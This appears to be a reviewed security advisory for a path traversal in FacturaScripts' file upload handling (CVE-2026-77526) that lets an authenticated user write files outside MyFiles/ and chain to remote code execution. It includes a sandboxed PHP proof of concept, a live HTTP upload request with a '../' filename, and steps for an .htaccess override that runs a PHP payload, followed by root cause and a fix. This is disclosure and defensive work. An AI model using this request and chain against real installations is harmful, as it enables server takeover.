facturascripts/facturascripts
Affected
- introduced
2025, fixed2026.3(ecosystem)
Fixed versions
2026.3
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-77526
FacturaScripts: Path traversal in UploadedFile::move() via getClientOriginalName() — arbitrary file write outside MyFiles/ leading to RCE
Summary
FacturaScripts\Core\UploadedFile::move($destiny, $destinyName) concatenates $destiny and $destinyName without normalizing the resulting path. Every caller in the codebase passes UploadedFile::getClientOriginalName() — the unsanitized client-supplied filename — as $destinyName, so an authenticated user submitting a filename containing ../ segments can write the uploaded content to any directory writable by the web-server user, escaping the intended MyFiles/ location.
Because the shipped htaccess-sample (the documented production Apache configuration) excludes Dinamic/Assets/ and node_modules/ from the index.php rewrite, files written into those directories are served directly by Apache. Combined with .htaccess not being in BLOCKED_EXTENSIONS, the primitive escalates from arbitrary file write to remote code execution.
Vulnerable Code
Core/UploadedFile.php:
private const BLOCKED_EXTENSIONS = ['phar', 'php', 'php3', 'php4', 'php5', 'php7', 'php8', 'pht', 'phtml', 'phps'];
public function move(string $destiny, string $destinyName): bool
{
if (!$this->isValid()) {
return false;
}
if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
$destiny .= DIRECTORY_SEPARATOR;
}
return $this->test ?
rename($this->tmp_name, $destiny . $destinyName) :
move_uploaded_file($this->tmp_name, $destiny . $destinyName);
}
public function getClientOriginalName(): string
{
return $this->name ?? '';
}
isValid() only checks the extension blocklist, the upload error code, and is_uploaded_file() — it never inspects the filename for directory separators or .. segments.
Six call sites pass the raw client filename straight into move():
Core/Controller/ApiUploadFiles.php:58 — POST /api/3/uploadfilesCore/Controller/ApiAttachedFiles.php:136 — POST /api/3/attachedfilesCore/Lib/Widget/WidgetFile.php:84 — every form using a file widgetCore/Lib/Widget/WidgetLibrary.php:215 — library widget uploadCore/Lib/ExtendedController/DocFilesTrait.php:51 — document files traitCore/Controller/AdminPlugins.php:260 — plugin (zip) uploadRepresentative sink — Core/Controller/ApiUploadFiles.php:56-79:
private function uploadFile(UploadedFile $uploadFile): ?AttachedFile
{
if (false === $uploadFile->isValid()) {
return null;
}
$destiny = FS_FOLDER . '/MyFiles/';
$destinyName = $uploadFile->getClientOriginalName();
if (file_exists($destiny . $destinyName)) {
$destinyName = mt_rand(1, 999999) . '_' . $destinyName;
}
if ($uploadFile->move($destiny, $destinyName)) {
...
}
}
Shipped htaccess-sample (production Apache rules):
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_URI} !Dinamic/Assets/ [NC]
RewriteCond %{REQUEST_URI} !node_modules/ [NC]
RewriteRule . index.php [L]
</IfModule>
Apache therefore serves any file under Dinamic/Assets/ directly, bypassing index.php entirely.
PoC
Step 1 — Static reproduction of the file-write primitive
The following script replicates UploadedFile::move()'s rename() path verbatim inside a sandboxed temp directory. It does not run any payload — it only demonstrates that the destination escapes MyFiles/ when the filename contains ../.
<?php
$base = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'fs_verify_' . uniqid();
mkdir($base);
mkdir($base . '/MyFiles');
mkdir($base . '/Dinamic');
mkdir($base . '/Dinamic/Assets');
$tmp = $base . '/tmp_upload.dat';
file_put_contents($tmp, "static-verification-marker\n");
function fs_move($tmp_name, $destiny, $destinyName) {
if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
$destiny .= DIRECTORY_SEPARATOR;
}
return rename($tmp_name, $destiny . $destinyName);
}
fs_move($tmp, $base . '/MyFiles', '../Dinamic/Assets/traversed.txt');
echo file_exists($base . '/Dinamic/Assets/traversed.txt')
? "WRITTEN OUTSIDE MyFiles\n"
: "blocked\n";
Output:
WRITTEN OUTSIDE MyFiles
Step 2 — Equivalent live HTTP request
POST /api/3/uploadfiles HTTP/1.1
Host: target
Token: <valid-api-token>
Content-Type: multipart/form-data; boundary=---X
-----X
Content-Disposition: form-data; name="files[]"; filename="../Dinamic/Assets/traversed.txt"
Content-Type: text/plain
static-verification-marker
-----X--
After the request, Dinamic/Assets/traversed.txt exists on disk and is reachable at https://target/Dinamic/Assets/traversed.txt — Apache serves it directly because the path is excluded from the index.php rewrite.
Step 3 — Chain to code execution
Because .htaccess is not in BLOCKED_EXTENSIONS, the same primitive can write an Apache override into Dinamic/Assets/:
../Dinamic/Assets/.htaccess and body AddType application/x-httpd-php .png../Dinamic/Assets/x.png containing a PHP payload (extension png is not blocked, content is not validated by isValid())https://target/Dinamic/Assets/x.png — Apache hands it to the PHP handler per the uploaded .htaccessRoot Cause
UploadedFile::move() performs raw $destiny . $destinyName concatenation and trusts getClientOriginalName(), which returns $this->name ?? '' with no normalization. No call site applies basename() or any equivalent before passing the client filename to move(). The blocklist in BLOCKED_EXTENSIONS covers only PHP-family extensions and does not cover htaccess, which is required for the rewrite-excluded directory to be useful for code execution.
Impact
Authenticated attacker (any role with permission to call one of the six upload entry points — including any user allowed to attach a file to a record, or any API token with uploadfiles/attachedfiles access) can:
Dinamic/Assets/ (Apache-direct-served) and node_modules/.Dinamic/Assets/, injecting client-side script that executes in every administrator's browser → session takeover on next admin page load..htaccess into Dinamic/Assets/ remapping a benign extension to the PHP handler, followed by a second upload that lands an executable payload — full remote code execution as the web-server user.The required precondition is only an authenticated session or API token with upload privileges, which is granted to a wide range of non-administrative roles in standard installations.
Fix
Minimal fix — sanitize inside UploadedFile::move() so every call site is covered automatically:
public function move(string $destiny, string $destinyName): bool
{
if (!$this->isValid()) {
return false;
}
// strip any directory component from the client-supplied filename
$destinyName = basename($destinyName);
if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
$destiny .= DIRECTORY_SEPARATOR;
}
return $this->test ?
rename($this->tmp_name, $destiny . $destinyName) :
move_uploaded_file($this->tmp_name, $destiny . $destinyName);
}Critical Basis: The source's own band: CRITICAL
2025, fixed 2026.3 (ecosystem)2026.3
The export has no generic command for this ecosystem.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0